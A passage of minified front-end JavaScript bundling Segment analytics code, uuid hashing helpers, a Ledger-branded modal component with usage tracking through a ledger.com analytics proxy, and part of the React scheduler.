mt(this,void 0,void 0,(function(){var t;return _t(this,(function(n){return(t=navigator.userAgentData)?e?[2,t.getHighEntropyValues(e).catch((function(){return t.toJSON()}))]:[2,t.toJSON()]:[2,void 0]}))}))}function uo(e,t,n){var r,i,o;return mt(this,void 0,void 0,(function(){function s(r){return mt(this,void 0,void 0,(function(){var i,o;return _t(this,(function(s){return cn()?(u.push(r),so(l,u,v,so),[2,r]):(c.add(r),i=r.event.type.charAt(0),y&&r.event.context&&(r.event.context.userAgentData=y),o=Yi(r.event).json(),"track"===r.event.type&&delete o.traits,"alias"===r.event.type&&(o=function(e,t){var n,r,i,o,s=e.user();return t.previousId=null!==(i=null!==(r=null!==(n=t.previousId)&&void 0!==n?n:t.from)&&void 0!==r?r:s.id())&&void 0!==i?i:s.anonymousId(),t.userId=null!==(o=t.userId)&&void 0!==o?o:t.to,delete t.from,delete t.to,t}(e,o)),[2,g.dispatch("".concat(d,"/").concat(i),Tn(e,o,t,n)).then((function(){return r})).catch((function(){return u.pushWithBackoff(r),so(l,u,v,so),r})).finally((function(){c.delete(r)}))])}))}))}var a,u,c,l,f,h,d,p,g,y,v;return _t(this,(function(n){switch(n.label){case 0:window.addEventListener("pagehide",(function(){u.push.apply(u,Array.from(c)),c.clear()})),a=null!==(r=null==t?void 0:t.apiKey)&&void 0!==r?r:"",u=e.options.disableClientPersistence?new Ht(e.queue.queue.maxAttempts,[]):new Gn(e.queue.queue.maxAttempts,"".concat(a,":dest-Segment.io")),c=new Set,l=!1,f=null!==(i=null==t?void 0:t.apiHost)&&void 0!==i?i:Mn,h=null!==(o=null==t?void 0:t.protocol)&&void 0!==o?o:"https",d="".concat(h,"://").concat(f),p=null==t?void 0:t.deliveryStrategy,g="batching"===(null==p?void 0:p.strategy)?ro(f,p.config):(m=null==p?void 0:p.config,{dispatch:function(e,t){return hn(e,{keepalive:null==m?void 0:m.keepalive,headers:{"Content-Type":"text/plain"},method:"post",body:JSON.stringify(t)})}}),n.label=1;case 1:return n.trys.push([1,3,,4]),[4,ao(e.options.highEntropyValuesClientHints)];case 2:return y=n.sent(),[3,4];case 3:return n.sent(),y=void 0,[3,4];case 4:return v={name:"Segment.io",type:"after",version:"0.1.0",isLoaded:function(){return!0},load:function(){return Promise.resolve()},track:s,identify:s,page:s,alias:s,group:s,screen:s},u.todo&&so(l,u,v,so),[2,v]}var m}))}))}function co(e){var t,n=e.event;!function(e){if(!Tt(e))throw new Ct("Event",Ut);if("object"!=typeof e)throw new Ct("Event",jt)}(n),function(e){if(!Pt(e.type))throw new Ct(".type",Lt)}(n),"track"===n.type&&function(e){if(!Pt(e.event))throw new Ct(".event",Lt)}(n);var r=null!==(t=n.properties)&&void 0!==t?t:n.traits;if("alias"!==n.type&&!Mt(r))throw new Ct(".properties","is not an object");return function(e){var t=".userId/anonymousId/previousId/groupId",n=function(e){var t,n,r;return null!==(r=null!==(n=null!==(t=e.userId)&&void 0!==t?t:e.anonymousId)&&void 0!==n?n:e.groupId)&&void 0!==r?r:e.previousId}(e);if(!Tt(n))throw new Ct(t,Ut);if(!Pt(n))throw new Ct(t,Lt)}(n),e}var lo={name:"Event Validation",type:"before",version:"1.0.0",isLoaded:function(){return!0},load:function(){return Promise.resolve()},track:co,identify:co,page:co,alias:co,group:co,screen:co},fo=function(e,t,n){n.getCalls(e).forEach((function(e){mo(t,e).catch(console.error)}))},ho=function(e,t){return mt(void 0,void 0,void 0,(function(){var n,r,i;return _t(this,(function(o){switch(o.label){case 0:n=0,r=t.getCalls("addSourceMiddleware"),o.label=1;case 1:return n<r.length?(i=r[n],[4,mo(e,i).catch(console.error)]):[3,4];case 2:o.sent(),o.label=3;case 3:return n++,[3,1];case 4:return[2]}}))}))},po=fo.bind(void 0,"on"),go=fo.bind(void 0,"setAnonymousId"),yo=function(e,t){t.toArray().forEach((function(t){setTimeout((function(){mo(e,t).catch(console.error)}),0)}))},vo=function(){function e(){this._value={}}return e.prototype.toArray=function(){var e;return(e=[]).concat.apply(e,Object.values(this._value))},e.prototype.getCalls=function(e){var t;return null!==(t=this._value[e])&&void 0!==t?t:[]},e.prototype.push=function(){for(var e=this,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return t.forEach((function(t){e._value[t.method]?e._value[t.method].push(t):e._value[t.method]=[t]})),this},e.prototype.clear=function(){return this._value={},this},e}();function mo(e,t){return mt(this,void 0,void 0,(function(){var n,r;return _t(this,(function(i){switch(i.label){case 0:return i.trys.push([0,3,,4]),t.called?[2,void 0]:(t.called=!0,n=e[t.method].apply(e,t.args),"object"==typeof(o=n)&&null!==o&&"then"in o&&"function"==typeof o.then?[4,n]:[3,2]);case 1:i.sent(),i.label=2;case 2:return t.resolve(n),[3,4];case 3:return r=i.sent(),t.reject(r),[3,4];case 4:return[2]}var o}))}))}var _o=function(){function e(e){var t=this;this._preInitBuffer=new vo,this.trackSubmit=this._createMethod("trackSubmit"),this.trackClick=this._createMethod("trackClick"),this.trackLink=this._createMethod("trackLink"),this.pageView=this._createMethod("pageview"),this.identify=this._createMethod("identify"),this.reset=this._createMethod("reset"),this.group=this._createMethod("group"),this.track=this._createMethod("track"),this.ready=this._createMethod("ready"),this.alias=this._createMethod("alias"),this.debug=this._createChainableMethod("debug"),this.page=this._createMethod("page"),this.once=this._createChainableMethod("once"),this.off=this._createChainableMethod("off"),this.on=this._createChainableMethod("on"),this.addSourceMiddleware=this._createMethod("addSourceMiddleware"),this.setAnonymousId=this._createMethod("setAnonymousId"),this.addDestinationMiddleware=this._createMethod("addDestinationMiddleware"),this.screen=this._createMethod("screen"),this.register=this._createMethod("register"),this.deregister=this._createMethod("deregister"),this.user=this._createMethod("user"),this.VERSION=dn,this._promise=e(this._preInitBuffer),this._promise.then((function(e){var n=e[0],r=e[1];t.instance=n,t.ctx=r})).catch((function(){}))}return e.prototype.then=function(){for(var e,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return(e=this._promise).then.apply(e,t)},e.prototype.catch=function(){for(var e,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return(e=this._promise).catch.apply(e,t)},e.prototype.finally=function(){for(var e,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return(e=this._promise).finally.apply(e,t)},e.prototype._createMethod=function(e){var t=this;return function(){for(var n,r=[],i=0;i<arguments.length;i++)r[i]=arguments[i];if(t.instance){var o=(n=t.instance)[e].apply(n,r);return Promise.resolve(o)}return new Promise((function(n,i){t._preInitBuffer.push({method:e,args:r,resolve:n,reject:i,called:!1})}))}},e.prototype._createChainableMethod=function(e){var t=this;return function(){for(var n,r=[],i=0;i<arguments.length;i++)r[i]=arguments[i];return t.instance?((n=t.instance)[e].apply(n,r),t):(t._preInitBuffer.push({method:e,args:r,resolve:function(){},reject:console.error,called:!1}),t)}},e}();function bo(e){var t=e[0],n=e.slice(1);return{method:t,resolve:function(){},reject:console.error,args:n,called:!1}}var wo,Eo,So=function(){var e=window.analytics;if(!Array.isArray(e))return[];var t=e.splice(0,e.length);return t.map(bo)},Oo=null!==(wo=(Eo=fn()).__SEGMENT_INSPECTOR__)&&void 0!==wo?wo:Eo.__SEGMENT_INSPECTOR__={};function xo(e,t){return mt(this,void 0,void 0,(function(){return _t(this,(function(n){switch(n.label){case 0:return t.push.apply(t,So()),[4,ho(e,t)];case 1:return n.sent(),t.push.apply(t,So()),yo(e,t),t.clear(),[2]}}))}))}function Io(e,t,n,r,i,o,s){var a,u,c;return mt(this,void 0,void 0,(function(){var l,f,h,d,p,g,y,v,m,_,b,w,E=this;return _t(this,(function(S){switch(S.label){case 0:return function(e){var t,n,r;return"test"!==tr().NODE_ENV&&(null!==(r=null===(n=null===(t=e.middlewareSettings)||void 0===t?void 0:t.routingRules)||void 0===n?void 0:n.length)&&void 0!==r?r:0)>0}(t)?[4,Promise.resolve().then((function(){return hd})).then((function(e){return e.tsubMiddleware(t.middlewareSettings.routingRules)}))]:[3,2];case 1:return f=S.sent(),[3,3];case 2:f=void 0,S.label=3;case 3:return l=f,O=t,"test"!==tr().NODE_ENV&&Object.keys(O.integrations).length>1||s.length>0?[4,Promise.resolve().then((function(){return _d})).then((function(i){return i.ajsDestinations(e,t,n.integrations,r,l,s)}))]:[3,5];case 4:return d=S.sent(),[3,6];case 5:d=[],S.label=6;case 6:return h=d,t.legacyVideoPluginsEnabled?[4,Promise.resolve().then((function(){return bd})).then((function(e){return e.loadLegacyVideoPlugins(n)}))]:[3,8];case 7:S.sent(),S.label=8;case 8:return(null===(a=r.plan)||void 0===a?void 0:a.track)?[4,Promise.resolve().then((function(){return wd})).then((function(e){var n;return e.schemaFilter(null===(n=r.plan)||void 0===n?void 0:n.track,t)}))]:[3,10];case 9:return g=S.sent(),[3,11];case 10:g=void 0,S.label=11;case 11:return p=g,y=sr(t,i),[4,Zi(t,n.integrations,y,i.obfuscate,l).catch((function(){return[]}))];case 12:return v=S.sent(),m=bt(bt(bt([lo,fr],o,!0),h,!0),v,!0),p&&m.push(p),!1===(null===(u=r.integrations)||void 0===u?void 0:u.All)&&!r.integrations["Segment.io"]||r.integrations&&!1===r.integrations["Segment.io"]?[3,14]:(b=(_=m).push,[4,uo(n,y["Segment.io"],t.integrations)]);case 13:b.apply(_,[S.sent()]),S.label=14;case 14:return[4,n.register.apply(n,m)];case 15:return w=S.sent(),Object.entries(null!==(c=t.enabledMiddleware)&&void 0!==c?c:{}).some((function(e){return e[1]}))?[4,Promise.resolve().then((function(){return Ed})).then((function(e){var r=e.remoteMiddlewares;return mt(E,void 0,void 0,(function(){var e,o;return _t(this,(function(s){switch(s.label){case 0:return[4,r(w,t,i.obfuscate)];case 1:return e=s.sent(),o=e.map((function(e){return n.addSourceMiddleware(e)})),[2,Promise.all(o)]}}))}))}))]:[3,17];case 16:S.sent(),S.label=17;case 17:return[2,w]}var O}))}))}function Ro(e,t,n){var r,i,o,s,a,u,c;return void 0===t&&(t={}),mt(this,void 0,void 0,(function(){var l,f,h,d,p,g,y,v,m,_,b;return _t(this,(function(w){switch(w.label){case 0:return e.cdnURL&&(x=e.cdnURL,window.analytics&&(window.analytics._cdn=x),nr=x),null===(r=e.cdnSettings)||void 0===r?[3,1]:(f=r,[3,3]);case 1:return[4,(E=e.writeKey,S=e.cdnURL,O=null!=S?S:ir(),hn("".concat(O,"/v1/projects/").concat(E,"/settings")).then((function(e){return e.ok?e.json():e.text().then((function(e){throw new Error(e)}))})).catch((function(e){throw console.error(e.message),e})))];case 2:f=w.sent(),w.label=3;case 3:return l=f,t.updateCDNSettings&&(l=t.updateCDNSettings(l)),h=null===(o=null===(i=l.integrations["Segment.io"])||void 0===i?void 0:i.retryQueue)||void 0===o||o,d=vt({retryQueue:h},t),function(e){var t;null===(t=Oo.attach)||void 0===t||t.call(Oo,e)}(p=new er(e,d)),g=null!==(s=e.plugins)&&void 0!==s?s:[],y=null!==(a=e.classicIntegrations)&&void 0!==a?a:[],Dn.initRemoteMetrics(l.metrics),function(e,t){t.push.apply(t,So()),go(e,t),po(e,t)}(p,n),[4,Io(e.writeKey,l,p,d,t,g,y)];case 4:return v=w.sent(),m=null!==(u=window.location.search)&&void 0!==u?u:"",_=null!==(c=window.location.hash)&&void 0!==c?c:"",(b=m.length?m:_.replace(/(?=#).*(?=\?)/,"")).includes("ajs_")?[4,p.queryString(b).catch(console.error)]:[3,6];case 5:w.sent(),w.label=6;case 6:return p.initialized=!0,p.emit("initialize",e,t),t.initialPageview&&p.page().catch(console.error),[4,xo(p,n)];case 7:return w.sent(),[2,[p,v]]}var E,S,O,x}))}))}var ko=function(e){function t(){var t,n,r,i=this,o=(r=new Promise((function(e,r){t=e,n=r})),{resolve:t,reject:n,promise:r}),s=o.promise,a=o.resolve;return i=e.call(this,(function(e){return s.then((function(t){return Ro(t[0],t[1],e)}))}))||this,i._resolveLoadStart=function(e,t){return a([e,t])},i}return yt(t,e),t.prototype.load=function(e,t){return void 0===t&&(t={}),this._resolveLoadStart(e,t),this},t.load=function(e,n){return void 0===n&&(n={}),(new t).load(e,n)},t.standalone=function(e,n){return t.load({writeKey:e},n).then((function(e){return e[0]}))},t}(_o);let Co;const Po=new Uint8Array(16);function Ao(){if(!Co&&(Co="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!Co))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return Co(Po)}var No=/^(?:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}|00000000-0000-0000-0000-000000000000)$/i;const To=[];for(let e=0;e<256;++e)To.push((e+256).toString(16).slice(1));function Mo(e,t=0){return(To[e[t+0]]+To[e[t+1]]+To[e[t+2]]+To[e[t+3]]+"-"+To[e[t+4]]+To[e[t+5]]+"-"+To[e[t+6]]+To[e[t+7]]+"-"+To[e[t+8]]+To[e[t+9]]+"-"+To[e[t+10]]+To[e[t+11]]+To[e[t+12]]+To[e[t+13]]+To[e[t+14]]+To[e[t+15]]).toLowerCase()}function Lo(e){if(!function(e){return"string"==typeof e&&No.test(e)}(e))throw TypeError("Invalid UUID");let t;const n=new Uint8Array(16);return n[0]=(t=parseInt(e.slice(0,8),16))>>>24,n[1]=t>>>16&255,n[2]=t>>>8&255,n[3]=255&t,n[4]=(t=parseInt(e.slice(9,13),16))>>>8,n[5]=255&t,n[6]=(t=parseInt(e.slice(14,18),16))>>>8,n[7]=255&t,n[8]=(t=parseInt(e.slice(19,23),16))>>>8,n[9]=255&t,n[10]=(t=parseInt(e.slice(24,36),16))/1099511627776&255,n[11]=t/4294967296&255,n[12]=t>>>24&255,n[13]=t>>>16&255,n[14]=t>>>8&255,n[15]=255&t,n}function jo(e,t,n){function r(e,r,i,o){var s;if("string"==typeof e&&(e=function(e){e=unescape(encodeURIComponent(e));const t=[];for(let n=0;n<e.length;++n)t.push(e.charCodeAt(n));return t}(e)),"string"==typeof r&&(r=Lo(r)),16!==(null===(s=r)||void 0===s?void 0:s.length))throw TypeError("Namespace must be array-like (16 iterable integer values, 0-255)");let a=new Uint8Array(16+e.length);if(a.set(r),a.set(e,r.length),a=n(a),a[6]=15&a[6]|t,a[8]=63&a[8]|128,i){o=o||0;for(let e=0;e<16;++e)i[o+e]=a[e];return i}return Mo(a)}try{r.name=e}catch(e){}return r.DNS="6ba7b810-9dad-11d1-80b4-00c04fd430c8",r.URL="6ba7b811-9dad-11d1-80b4-00c04fd430c8",r}function Uo(e){return 14+(e+64>>>9<<4)+1}function Do(e,t){const n=(65535&e)+(65535&t);return(e>>16)+(t>>16)+(n>>16)<<16|65535&n}function zo(e,t,n,r,i,o){return Do((s=Do(Do(t,e),Do(r,o)))<<(a=i)|s>>>32-a,n);var s,a}function Fo(e,t,n,r,i,o,s){return zo(t&n|~t&r,e,t,i,o,s)}function Bo(e,t,n,r,i,o,s){return zo(t&r|n&~r,e,t,i,o,s)}function Ho(e,t,n,r,i,o,s){return zo(t^n^r,e,t,i,o,s)}function qo(e,t,n,r,i,o,s){return zo(n^(t|~r),e,t,i,o,s)}jo("v3",48,(function(e){if("string"==typeof e){const t=unescape(encodeURIComponent(e));e=new Uint8Array(t.length);for(let n=0;n<t.length;++n)e[n]=t.charCodeAt(n)}return function(e){const t=[],n=32*e.length,r="0123456789abcdef";for(let i=0;i<n;i+=8){const n=e[i>>5]>>>i%32&255,o=parseInt(r.charAt(n>>>4&15)+r.charAt(15&n),16);t.push(o)}return t}(function(e,t){e[t>>5]|=128<<t%32,e[Uo(t)-1]=t;let n=1732584193,r=-271733879,i=-1732584194,o=271733878;for(let t=0;t<e.length;t+=16){const s=n,a=r,u=i,c=o;n=Fo(n,r,i,o,e[t],7,-680876936),o=Fo(o,n,r,i,e[t+1],12,-389564586),i=Fo(i,o,n,r,e[t+2],17,606105819),r=Fo(r,i,o,n,e[t+3],22,-1044525330),n=Fo(n,r,i,o,e[t+4],7,-176418897),o=Fo(o,n,r,i,e[t+5],12,1200080426),i=Fo(i,o,n,r,e[t+6],17,-1473231341),r=Fo(r,i,o,n,e[t+7],22,-45705983),n=Fo(n,r,i,o,e[t+8],7,1770035416),o=Fo(o,n,r,i,e[t+9],12,-1958414417),i=Fo(i,o,n,r,e[t+10],17,-42063),r=Fo(r,i,o,n,e[t+11],22,-1990404162),n=Fo(n,r,i,o,e[t+12],7,1804603682),o=Fo(o,n,r,i,e[t+13],12,-40341101),i=Fo(i,o,n,r,e[t+14],17,-1502002290),r=Fo(r,i,o,n,e[t+15],22,1236535329),n=Bo(n,r,i,o,e[t+1],5,-165796510),o=Bo(o,n,r,i,e[t+6],9,-1069501632),i=Bo(i,o,n,r,e[t+11],14,643717713),r=Bo(r,i,o,n,e[t],20,-373897302),n=Bo(n,r,i,o,e[t+5],5,-701558691),o=Bo(o,n,r,i,e[t+10],9,38016083),i=Bo(i,o,n,r,e[t+15],14,-660478335),r=Bo(r,i,o,n,e[t+4],20,-405537848),n=Bo(n,r,i,o,e[t+9],5,568446438),o=Bo(o,n,r,i,e[t+14],9,-1019803690),i=Bo(i,o,n,r,e[t+3],14,-187363961),r=Bo(r,i,o,n,e[t+8],20,1163531501),n=Bo(n,r,i,o,e[t+13],5,-1444681467),o=Bo(o,n,r,i,e[t+2],9,-51403784),i=Bo(i,o,n,r,e[t+7],14,1735328473),r=Bo(r,i,o,n,e[t+12],20,-1926607734),n=Ho(n,r,i,o,e[t+5],4,-378558),o=Ho(o,n,r,i,e[t+8],11,-2022574463),i=Ho(i,o,n,r,e[t+11],16,1839030562),r=Ho(r,i,o,n,e[t+14],23,-35309556),n=Ho(n,r,i,o,e[t+1],4,-1530992060),o=Ho(o,n,r,i,e[t+4],11,1272893353),i=Ho(i,o,n,r,e[t+7],16,-155497632),r=Ho(r,i,o,n,e[t+10],23,-1094730640),n=Ho(n,r,i,o,e[t+13],4,681279174),o=Ho(o,n,r,i,e[t],11,-358537222),i=Ho(i,o,n,r,e[t+3],16,-722521979),r=Ho(r,i,o,n,e[t+6],23,76029189),n=Ho(n,r,i,o,e[t+9],4,-640364487),o=Ho(o,n,r,i,e[t+12],11,-421815835),i=Ho(i,o,n,r,e[t+15],16,530742520),r=Ho(r,i,o,n,e[t+2],23,-995338651),n=qo(n,r,i,o,e[t],6,-198630844),o=qo(o,n,r,i,e[t+7],10,1126891415),i=qo(i,o,n,r,e[t+14],15,-1416354905),r=qo(r,i,o,n,e[t+5],21,-57434055),n=qo(n,r,i,o,e[t+12],6,1700485571),o=qo(o,n,r,i,e[t+3],10,-1894986606),i=qo(i,o,n,r,e[t+10],15,-1051523),r=qo(r,i,o,n,e[t+1],21,-2054922799),n=qo(n,r,i,o,e[t+8],6,1873313359),o=qo(o,n,r,i,e[t+15],10,-30611744),i=qo(i,o,n,r,e[t+6],15,-1560198380),r=qo(r,i,o,n,e[t+13],21,1309151649),n=qo(n,r,i,o,e[t+4],6,-145523070),o=qo(o,n,r,i,e[t+11],10,-1120210379),i=qo(i,o,n,r,e[t+2],15,718787259),r=qo(r,i,o,n,e[t+9],21,-343485551),n=Do(n,s),r=Do(r,a),i=Do(i,u),o=Do(o,c)}return[n,r,i,o]}(function(e){if(0===e.length)return[];const t=8*e.length,n=new Uint32Array(Uo(t));for(let r=0;r<t;r+=8)n[r>>5]|=(255&e[r/8])<<r%32;return n}(e),8*e.length))}));var Vo={randomUUID:"undefined"!=typeof crypto&&crypto.randomUUID&&crypto.randomUUID.bind(crypto)};function $o(e,t,n){if(Vo.randomUUID&&!t&&!e)return Vo.randomUUID();const r=(e=e||{}).random||(e.rng||Ao)();if(r[6]=15&r[6]|64,r[8]=63&r[8]|128,t){n=n||0;for(let e=0;e<16;++e)t[n+e]=r[e];return t}return Mo(r)}function Wo(e,t,n,r){switch(e){case 0:return t&n^~t&r;case 1:case 3:return t^n^r;case 2:return t&n^t&r^n&r}}function Ko(e,t){return e<<t|e>>>32-t}jo("v5",80,(function(e){const t=[1518500249,1859775393,2400959708,3395469782],n=[1732584193,4023233417,2562383102,271733878,3285377520];if("string"==typeof e){const t=unescape(encodeURIComponent(e));e=[];for(let n=0;n<t.length;++n)e.push(t.charCodeAt(n))}else Array.isArray(e)||(e=Array.prototype.slice.call(e));e.push(128);const r=e.length/4+2,i=Math.ceil(r/16),o=new Array(i);for(let t=0;t<i;++t){const n=new Uint32Array(16);for(let r=0;r<16;++r)n[r]=e[64*t+4*r]<<24|e[64*t+4*r+1]<<16|e[64*t+4*r+2]<<8|e[64*t+4*r+3];o[t]=n}o[i-1][14]=8*(e.length-1)/Math.pow(2,32),o[i-1][14]=Math.floor(o[i-1][14]),o[i-1][15]=8*(e.length-1)&4294967295;for(let e=0;e<i;++e){const r=new Uint32Array(80);for(let t=0;t<16;++t)r[t]=o[e][t];for(let e=16;e<80;++e)r[e]=Ko(r[e-3]^r[e-8]^r[e-14]^r[e-16],1);let i=n[0],s=n[1],a=n[2],u=n[3],c=n[4];for(let e=0;e<80;++e){const n=Math.floor(e/20),o=Ko(i,5)+Wo(n,s,a,u)+c+t[n]+r[e]>>>0;c=u,u=a,a=Ko(s,30)>>>0,s=i,i=o}n[0]=n[0]+i>>>0,n[1]=n[1]+s>>>0,n[2]=n[2]+a>>>0,n[3]=n[3]+u>>>0,n[4]=n[4]+c>>>0}return[n[0]>>24&255,n[0]>>16&255,n[0]>>8&255,255&n[0],n[1]>>24&255,n[1]>>16&255,n[1]>>8&255,255&n[1],n[2]>>24&255,n[2]>>16&255,n[2]>>8&255,255&n[2],n[3]>>24&255,n[3]>>16&255,n[3]>>8&255,255&n[3],n[4]>>24&255,n[4]>>16&255,n[4]>>8&255,255&n[4]]}));let Go=null;const Yo={};function Qo(){const e=m.exports.useCallback(((e={},t={})=>c(this,void 0,void 0,(function*(){if(Go)return;{const n=ko.load({writeKey:"q3dbZMDYOGQbk5GPl7eY7zWaAmNS5wk9",cdnURL:"https://proxyseg.api.live.ledger.com/"});yield n.identify($o()),Go={analytics:n,globalOptions:t,globalProperties:e}}}))),[]),t=m.exports.useCallback((e=>c(this,void 0,void 0,(function*(){Go&&(Yo[Object.keys(Yo).length]=e)}))),[]),n=m.exports.useCallback((()=>c(this,void 0,void 0,(function*(){0!=Object.keys(Yo).length&&Go&&(yield Go.analytics.track("userFlow",Yo))}))),[]);return{init:e,track:m.exports.useCallback(((e,t={})=>c(this,void 0,void 0,(function*(){if(!Go)return;const n=Object.assign(Object.assign({},Go.globalProperties),t);yield Go.analytics.track(e,n,Go.globalOptions)}))),[]),page:m.exports.useCallback(((e,t={})=>c(this,void 0,void 0,(function*(){if(!Go)return;const n=Object.assign(Object.assign({},Go.globalProperties),t);yield Go.analytics.page(e,n,Go.globalOptions)}))),[]),addStepToFlow:t,sendUserFlow:n}}let Jo=e=>{};const Xo=({onClose:e,children:t})=>{const{sendUserFlow:n,addStepToFlow:r}=Qo(),[i,o]=m.exports.useState(!0);Jo=o;const s=()=>{Jo(!1),r("Close"),n(),e&&e()},a=e=>{var t;"ModalWrapper"===(null===(t=null==e?void 0:e.target)||void 0===t?void 0:t.id)&&s()};return i?y.exports.jsxs(y.exports.Fragment,{children:[y.exports.jsx(tt,{}),y.exports.jsx(ot,Object.assign({id:"ModalWrapper",onClick:a},{children:y.exports.jsxs(st,{children:[y.exports.jsxs(ct,{children:[y.exports.jsx("img",{src:"data:image/svg+xml,%3csvg width='72' height='24' viewBox='0 0 72 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3e%3cpath d='M61.3616 22.4887V23.9996H71.7318V17.1853H70.2208V22.4887H61.3616ZM61.3616 0V1.51096H70.2208V6.81473H71.7318V0H61.3616ZM56.0137 11.689V8.17796H58.3842C59.5398 8.17796 59.9546 8.56305 59.9546 9.61506V10.2372C59.9546 11.3186 59.5545 11.689 58.3842 11.689H56.0137ZM59.7764 12.311C60.8578 12.0296 61.6133 11.022 61.6133 9.82231C61.6133 9.06683 61.3172 8.38521 60.7542 7.83698C60.0432 7.15536 59.0948 6.81473 57.8653 6.81473H54.5322V17.1849H56.0137V13.0518H58.2361C59.3767 13.0518 59.836 13.5258 59.836 14.7112V17.1853H61.3469V14.9482C61.3469 13.3186 60.9618 12.6965 59.7764 12.5187V12.311ZM47.303 12.6517H51.866V11.2888H47.303V8.17761H52.3102V6.81473H45.7916V17.1849H52.5325V15.822H47.303V12.6517ZM42.3398 13.1999V13.9109C42.3398 15.4072 41.7916 15.8963 40.414 15.8963H40.0881C38.7102 15.8963 38.0436 15.4516 38.0436 13.3925V10.6072C38.0436 8.53329 38.7399 8.10338 40.1175 8.10338H40.4137C41.7618 8.10338 42.1914 8.60716 42.2061 9.99979H43.8357C43.6876 7.9553 42.3248 6.66665 40.2803 6.66665C39.2878 6.66665 38.4581 6.97787 37.836 7.57021C36.9027 8.44437 36.3842 9.92593 36.3842 11.9998C36.3842 13.9999 36.8288 15.4814 37.7471 16.3997C38.3692 17.0071 39.2286 17.333 40.073 17.333C40.9619 17.333 41.7769 16.9773 42.1914 16.2071H42.3986V17.1849H43.7615V11.837H39.7467V13.1999H42.3398ZM29.2737 8.17761H30.8886C32.4146 8.17761 33.2443 8.5627 33.2443 10.6369V13.3627C33.2443 15.4366 32.4146 15.822 30.8886 15.822H29.2737V8.17761ZM31.0216 17.1853C33.8513 17.1853 34.903 15.0372 34.903 12.0002C34.903 8.91874 33.7771 6.81509 30.9919 6.81509H27.7917V17.1853H31.0216ZM20.6367 12.6517H25.1997V11.2888H20.6367V8.17761H25.644V6.81473H19.1254V17.1849H25.8663V15.822H20.6367V12.6517ZM11.8962 6.81473H10.3852V17.1849H17.2V15.822H11.8962V6.81473ZM0 17.1853V24H10.3702V22.4887H1.51096V17.1853H0ZM0 0V6.81473H1.51096V1.51096H10.3702V0H0Z' fill='white'/%3e%3c/svg%3e"}),y.exports.jsx(at,Object.assign({onClick:s},{children:y.exports.jsx("img",{src:"data:image/svg+xml,%3csvg width='24' height='24' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3e%3cpath d='M22 2L2 22' stroke='white' stroke-width='3'/%3e%3cpath d='M2 2L22 22' stroke='white' stroke-width='3'/%3e%3c/svg%3e"})}))]}),y.exports.jsx(y.exports.Fragment,{children:t})]})}))]}):null};var Zo,es,ts,ns,rs={exports:{}},is={},os={exports:{}},ss={};function as(){return es||(es=1,function(e){e.exports=(Zo||(Zo=1,function(e){function t(e,t){var n=e.length;e.push(t);e:for(;0<n;){var r=n-1>>>1,o=e[r];if(!(0<i(o,t)))break e;e[r]=t,e[n]=o,n=r}}function n(e){return 0===e.length?null:e[0]}function r(e){if(0===e.length)return null;var t=e[0],n=e.pop();if(n!==t){e[0]=n;e:for(var r=0,o=e.length,s=o>>>1;r<s;){var a=2*(r+1)-1,u=e[a],c=a+1,l=e[c];if(0>i(u,n))c<o&&0>i(l,u)?(e[r]=l,e[c]=n,r=c):(e[r]=u,e[a]=n,r=a);else{if(!(c<o&&0>i(l,n)))break e;e[r]=l,e[c]=n,r=c}}}return t}function i(e,t){var n=e.sortIndex-t.sortIndex;return 0!==n?n:e.id-t.id}if("object"==typeof performance&&"function"==typeof performance.now){var o=performance;e.unstable_now=function(){return o.now()}}else{var s=Date,a=s.now();e.unstable_now=function(){return s.now()-a}}var u=[],c=[],l=1,f=null,h=3,d=!1,p=!1,g=!1,y="function"==typeof setTimeout?setTimeout:null,v="function"==typeof clearTimeout?clearTimeout:null,m="undefined"!=typeof setImmediate?setImmediate:null;function _(e){for(var i=n(c);null!==i;){if(null===i.callback)r(c);else{if(!(i.startTime<=e))break;r(c),i.sortIndex=i.expirationTime,t(u,i)}i=n(c)}}function b(e){if(g=!1,_(e),!p)if(null!==n(u))p=!0,N(w);else{var t=n(c);null!==t&&T(b,t.startTime-e)}}function w(t,i){p=!1,g&&(g=!1,v(x),x=-1),d=!0;var o=h;try{for(_(i),f=n(u);null!==f&&(!(f.expirationTime>i)||t&&!k());){var s=f.callback;if("function"==typeof s){f.callback=null,h=f.priorityLevel;var a=s(f.expirationTime<=i);i=e.unstable_now(),"function"==typeof a?f.callback=a:f===n(u)&&r(u),_(i)}else r(u);f=n(u)}if(null!==f)var l=!0;else{var y=n(c);null!==y&&T(b,y.startTime-i),l=!1}return l}finally{f=null,h=o,d=!1}}"undefined"!=typeof navigator&&void 0!==navigator.scheduling&&void 0!==navigator.scheduling.isInputPending&&navigator.scheduling.isInputPending.bind(navigator.scheduling);var E,S=!1,O=null,x=-1,I=5,R=-1;function k(){return!(e.unstable_now()-R<I)}function C(){if(null!==O){var t=e.unstable_now();R=t;var n=!0;try{n=O(!0,t)}finally{n?E():(S=!1,O=null)}}else S=!1}if("function"==typeof m)E=function(){m(C)};else if("undefined"!=typeof MessageChannel){var P=new MessageChannel,A=P.port2;P.port1.onmessage=C,E=function(){A.postMessage(null)}}else E=function(){y(C,0)};function N(e){O=e,S||(S=!0,E())}function T(t,n){x=y((function(){t(e.unstable_now())}),n)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(e){e.callback=null},e.unstable_continueExecution=function(){p||d||(p=!0,N(w))},e.unstable_forceFrameRate=function(e){0>e||125<e?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):I=0<e?Math.floor(1e3/e):5},e.unstable_getCurrentPriorityLevel=function(){return h},e.unstable_getFirstCallbackNode=function(){return n(u)},e.unstable_next=function(e){switch(h){case 1:case 2:case 3:var t=3;break;default:t=h}var n=h;h=t;try{return 